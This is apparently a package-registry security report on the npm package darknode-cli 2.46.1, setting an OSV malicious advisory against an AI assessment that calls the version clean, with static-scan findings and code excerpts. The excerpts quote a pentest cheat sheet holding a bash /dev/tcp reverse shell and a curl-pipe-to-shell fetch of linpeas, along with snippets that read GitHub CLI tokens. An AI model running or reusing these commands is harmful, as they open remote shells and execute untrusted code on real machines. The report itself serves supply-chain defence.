registry / Malware / darknode-cli / 2.46.1

darknode-cli@2.46.1

OpenSSF/OSV Malicious Advisory

imported 4h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18195 confirms this npm version as malicious.

Advisory

MAL-2026-18195

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in darknode-cli (npm)

Details

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OpenSSF/OSV advisory ADVISORY

Independent LPM AI assessment

Clean

Independent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.

The reverse-shell examples are inert cheat-sheet strings, while the install hook only prints a hint and exits. The reviewed MCP configuration is trust-gated, Codex authentication handling returns metadata, and the updater refreshes this package; I found no concrete malicious behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installation triggers the postinstall hint; launching Nexus triggers trusted-repository MCP loading and an update check.

Impact

No malicious effect was identified; the observed behaviors provide setup guidance, trusted-repository integrations, and package updates.

Mechanism

The install script prints guidance and exits. MCP settings are ignored unless the repository is trusted, and the updater targets this package itself.

AI rationale

Independent scan evidence

public snapshot

AI called this Clean at 91.0% confidence as Benign with low false-positive risk.

Evidence for AI clean decision

The manifest binds postinstall to a script that prints setup guidance and exits.
Both CLI entrypoints refuse MCP configuration from untrusted repositories; trust is tied to the current repository path or an explicit environment opt-in.
The Codex helper returns model and authentication-mode metadata; the diff helper reads a requested Git diff.
Reverse-shell examples appear as strings in a cheat-sheet data object.
Launching Nexus starts a throttled updater, and its default mode is auto-apply.
The updater checks and reinstalls darknode-cli itself through npm.

Evidence against

The package includes reverse-shell examples, but the inspected cheat-sheet file stores them as data.
Nexus can automatically update on launch; the update path targets this package itself.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetworkShell

Supply chain

Source & flagged code

41 flagged

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

darknode-legacy.jsView file

1068const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1069: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1070: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1076: // ---- provider flows ---- L1077: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error && r.status === 0) { const t ... L1078: async function g

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

darknode-legacy.jsView on unpkg · L1068

1063patternName = google_api_key severity = high line = 1063

High

High Secret

Package contains a high-severity secret pattern.

darknode-legacy.jsView on unpkg · L1063

18const https = require("https"); L19: const { execFile, spawn } = require("child_process"); L20: const crypto = require("crypto");

High

Child Process

Package source references child process execution.

darknode-legacy.jsView on unpkg · L18

476console.log(" " + gray("first-time setup, this can take a few minutes...") + "\n " + gray(inst) + "\n"); L477: const p = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/bash", process.platform === "win32" ? ["/c", inst] : ["-lc", inst], { stdio: "inherit" }); L478: p.on("close", (code) => { console.log("\n " + (code === 0 ? ok(t[0] + " is ready.") : red("setup exited with code " + code))); resolve(); });

High

Shell

Package source references shell execution.

darknode-legacy.jsView on unpkg · L476

4// Refuse to run in engagement mode (DARKNODE_ENGAGEMENT) — use darknode.js. L5: if (process.env.DARKNODE_ENGAGEMENT) { console.error("the legacy entry is ungated and cannot run in engagement mode; use darknode.js"); process.exit(1); } L6: // Back-compat: this legacy entry reads SENTINEL_* env vars directly. Let DARKNODE_* ... L14: */ L15: const net = require("net"); L16: const tls = require("tls"); ... L18: const https = require("https"); L19: const { execFile, spawn } = require("child_process"); L20: const crypto = require("crypto");

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

darknode-legacy.jsView on unpkg · L4

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

darknode-legacy.jsView on unpkg · L4

769const apply = !!(opts && opts.apply); L770: const cp = require("child_process"), fs = require("fs"), path = require("path"); L771: const dir = __dirname; L772: const run = (c, a) => cp.spawnSync(c, a, { cwd: dir, encoding: "utf8", timeout: 60000 }); L773: if (!fs.existsSync(path.join(dir, ".git"))) return "installed at " + dir + "\nnot a git checkout — update with: npm install -g darknode-cli@latest\n(or re-pull from wherever you c... L774: if (!hasBin("git")) return "git not found — install git to self-update, or reinstall the CLI.";

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

darknode-legacy.jsView on unpkg · L769

1063patternName = google_api_key severity = high line = 1063

High

Secret Pattern

Google API key in darknode-legacy.js

darknode-legacy.jsView on unpkg · L1063

14*/ L15: const net = require("net"); L16: const tls = require("tls");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

darknode-legacy.jsView on unpkg · L14

lib/toolkit/cheats.jsView file

6"nmap": ["nmap -sV -sC -oN scan.txt TARGET", "nmap -p- --min-rate 5000 -T4 TARGET", "nmap --script vuln TARGET"], L7: "shells": ["bash -i >& /dev/tcp/IP/PORT 0>&1", "nc -lvnp 4444 # listener", "python3 -c 'import pty;pty.spawn(\"/bin/bash\")' # upgrade TTY"], L8: "privesc": ["find / -perm -4000 -type f 2>/dev/null # SUID", "sudo -l", "cat /etc/crontab", "curl -L .../linpeas.sh | sh"], L9: "transfer": ["python3 -m http.server 8000", "curl http://IP:8000/f -o f", "wget http://IP:8000/f"],

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

lib/toolkit/cheats.jsView on unpkg · L6

darknode.jsView file

1193Trigger-reachable chain: scripts.start -> darknode.js L1193: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1194: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1195: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1201: // ---- provider flows ---- L1202: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error &&

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

darknode.jsView on unpkg · L1193

1193Trigger-reachable command-output exfiltration chain: scripts.start -> darknode.js L1193: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1194: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1195: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1201: // ---- provider flows ---- L1202: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeo

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

darknode.jsView on unpkg · L1193

lib/nexus/code-diff-explain.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/nexus/code-diff-explain.js#virtual:normalized:round1View on unpkg

test/run.jsView file

212patternName = generic_password severity = medium line = 212

Medium

Secret Pattern

Hardcoded password in test/run.js

test/run.jsView on unpkg · L212

lib/nexus/git-security.jsView file

393patternName = generic_password severity = medium line = 393

Medium

Secret Pattern

Hardcoded password in lib/nexus/git-security.js

lib/nexus/git-security.jsView on unpkg · L393

lib/nexus/security-kb.jsView file

1330patternName = generic_password severity = medium line = 1330

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1330

1337patternName = generic_password severity = medium line = 1337

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1337

1343patternName = generic_password severity = medium line = 1343

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1343

1345patternName = generic_password severity = medium line = 1345

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1345

Source & flagged code

41 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

darknode-legacy.jsView file

Findings

3 Critical10 High31 Medium6 Low

CriticalCommand Output Exfiltrationdarknode-legacy.js

CriticalReverse Shelllib/toolkit/cheats.js

CriticalTrigger Reachable Dangerous Capabilitydarknode.js

HighInstall Time Lifecycle Scriptspackage.json

HighHigh Secretdarknode-legacy.js

HighChild Processdarknode-legacy.js

HighShelldarknode-legacy.js

HighSame File Env Network Executiondarknode-legacy.js

HighSandbox Evasion Gated Capabilitydarknode-legacy.js

HighTrigger Reachable Command Output Exfiltrationdarknode.js

HighRuntime Package Installdarknode-legacy.js

HighSemantic Analysis Limited

Affected versions and remediation

This report applies to darknode-cli@2.46.1.

See all versions of darknode-cli for other recorded verdicts.

Avoid installing darknode-cli@2.46.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 21:40:08.369Z (UTC).

Source advisory published: 2026-10-22 20:23:01.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code